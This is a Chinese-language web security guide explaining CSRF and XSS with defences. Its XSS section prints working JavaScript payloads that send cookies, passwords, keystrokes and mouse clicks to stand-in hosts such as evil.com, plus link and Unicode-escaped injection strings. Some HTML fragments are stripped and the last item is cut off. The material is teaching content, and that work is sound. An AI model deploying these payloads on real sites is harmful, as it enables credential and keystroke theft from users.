Web 安全指南

Web安全

  • 机密性,比如用户的隐私被窃取,帐号被盗,常见的方式是木马。
  • 完整性,比如数据的完整,常见的方式是XSS跨站脚本攻击csrf跨站请求伪造
  • 可用性,比如我们的网络服务是否可用,常用的攻击方式是dosddos,拒绝服务和分布式拒绝服务攻击。

CSRF

CSRF(Cross-site request forgery),中文名称:跨站请求伪造

攻击者盗用了你的身份,以你的名义发送恶意请求。
想要CSRF获取用户的信息,一般需要XSS注入成功

攻击原理

CSRF攻击是源于 WEB的隐式身份验证机制!WEB的身份验证机制虽然可以保证一个请求是来自于某个用户的浏览器,但却无法保证该请求是用户批准发送的!

要完成一次CSRF攻击,受害者必须依次完成两个步骤:

  • 登录受信任网站A,并在本地生成Cookie。
  • 在不登出A的情况下,访问危险网站B。

CSRF攻击有效经常因为如下原因

  • 你不能保证你登录了一个网站后,不再打开一个tab页面并访问另外的网站。
  • 你不能保证你关闭浏览器了后,你本地的Cookie立刻过期,你上次的会话已经结束。(事实上,关闭浏览器不能结束一个会话,但大多数人都会错误的认为关闭浏览器就等于退出登录/结束会话了......)
  • 上图中所谓的攻击网站,可能是一个存在其他漏洞的可信任的经常被人访问的网站。

CSRF防御

不使用GET更新资源
服务端对客户端请求方法进行验证

在客户端页面增加伪随机数(可以杜绝99%CSRF攻击, 除非用户Cookie被XSS漏洞盗取)



  
”>
增加验证码
One-Time Tokens(不同的表单包含一个不同的伪随机值通常与用户身份有关不好猜测, 注意并行性兼容)

XSS

Cross-site scripting, 中文名称: 跨站脚本分析

注入方式

javascript 注入
常用js代码注入
src="javascript:alert(‘xss’);"

js注入成功, 利用location.href注入拿到cookies或密码
对于浏览器可以设置httpOnly来降低从用户端拿到cookies进行攻击的可能性

location.href='http://www.xss.com?cookie=’+document.cookie';

js注入成功,从文本字段中窃取密码

function stealpw(){  
  var pw = document.getElementById("password").value;  
  document.images[0].src="http://evil.com/imgs/stealpw?pw=" + pw;  
}  
document.getElementById("button").onclick = stealpw; 

js注入成功, 键盘记录工具(key logger)窃取键盘事件

function keylogger(e){  
  document.images[0].src = "http://evil.com/logger?key="  
  + e.keyCode;  
};  
document.body.addEventListener("keyup", keylogger, false);

使用鼠标嗅探器窃取键盘事件

function sniffer(e){  
  document.images[0].src= "http://evil.com/imgs/sniffer?x="  
  + e.clientX + "&y=" + e.clientY;  
};  
document.body.addEventListener("mouseup", sniffer, false);  

js注入成功, 插入错误信息

// 警告消息
...  
  
...  
The links in this page may refer to potentially malicious Web pages, so be careful.
... // 消除警告 var e = document.getElementById("warning"); e.style.color= "white";

js注入成功, img.href隐藏并注入

var img = document.createElement('img');
img.src='http://www.xss.com?cookie='+document.cookie;
img.style.display='none';
document.getElementsByTagName('body')[0].appendChild(img);
上传文件注入
  • js注入文件名
  • js注入exif信息
链接注入

普通链接注入

http://www.baidu.com/“onclick=alert('xss') title="xss"

" ' 被转意但是依然注入

http://www.baidu.com/#"onclick=alert(this.name) name=xss ref=xss
Ajax JSON注入
采用普通注入
$('div:first').html('');
采用Unicode码注入
$('div:first').html('\u003c\u0073\u0063\u0072\u0069\u0070\u0074\u003e\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029\u003c\u002f\u0073\u0063\u0072\u0069\u0070\u0074\u003e');

防范XSS注入

  • 添加一个输入值检查
    • 黑名单: 在这种方法中,黑名单中的所有字符都会从输入中过滤掉。黑名单所面临的最大的挑战就是要确保所有危险的字符都包含在名单中。因为要预测到所有可能的输入组合是不可能的,所以黑名单经常不能实现正确的验证。
    • 白名单: 这种替代方法列出所有允许的字符并从输入中移除所有其它的字符。白名单所面临的最大的挑战就是在保持列表尽可能简短的同时,仍然能够提供足够的灵活性,允许 Web 应用程序所需的输入类型。
      人们通常认为白名单是更加安全的选择。因此,推荐您使用白名单来清除具有潜在危险性的输入。

对发送给浏览器并在其上显示的字符串中的特殊字符(比如说把小于号 (<) 换成 "<")进行转义是增强安全性的另一种方法。

  • 使用漏洞检查工具
  • 不要动态地生成和执行代码, 禁止使用eval()
  • 在集成不可信内容时使用